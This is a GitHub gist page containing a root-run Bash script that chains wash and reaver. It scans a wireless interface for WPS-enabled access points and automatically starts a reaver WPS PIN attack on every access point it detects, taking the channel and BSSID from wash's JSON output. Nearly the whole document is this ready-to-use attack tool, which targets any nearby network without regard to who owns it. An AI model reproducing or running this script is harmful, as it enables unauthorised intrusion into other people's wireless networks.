Skip to content

Instantly share code, notes, and snippets.

@jorgectf
Forked from iGh0st/d4rk-r34v3r.sh
Last active August 14, 2021 22:37
Show Gist options
  • Save jorgectf/670ff7f5c17bb2510ff741f31fd20999 to your computer and use it in GitHub Desktop.
Save jorgectf/670ff7f5c17bb2510ff741f31fd20999 to your computer and use it in GitHub Desktop.
Wash and Reaver automation script.
#!/bin/bash
if [ "$#" -ne 1 ]; then
echo "Illegal number of parameters"
echo "./{} INTERFACE"
fi
interface=$1
if (( EUID != 0 )); then
echo "This script must be executed as root."
exit 1
fi
trap ctrl_c INT
ctrl_c() {
echo "Killing processes..."
kill $washPID
rm /tmp/washOut_$currentRand.txt
exit
}
currentRand=$(cat /dev/urandom | tr -dc '0-9' | fold -w 10 | head -n 1)
echo "Running wash..."
wash -i $interface -j -2 -5 > /tmp/washOut_$currentRand.txt &
washPID=$!
tail --silent -f /tmp/washOut_$currentRand.txt -n $(wc -l /tmp/washOut_$currentRand.txt) | while read dict; do
echo "AP found!"
echo "Raw JSON: $dict"
reaver -i $interface -c $(echo $dict | jq -r '. | .channel') -b $(echo $dict | jq -r '. | .bssid') -vv -S -d 15
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment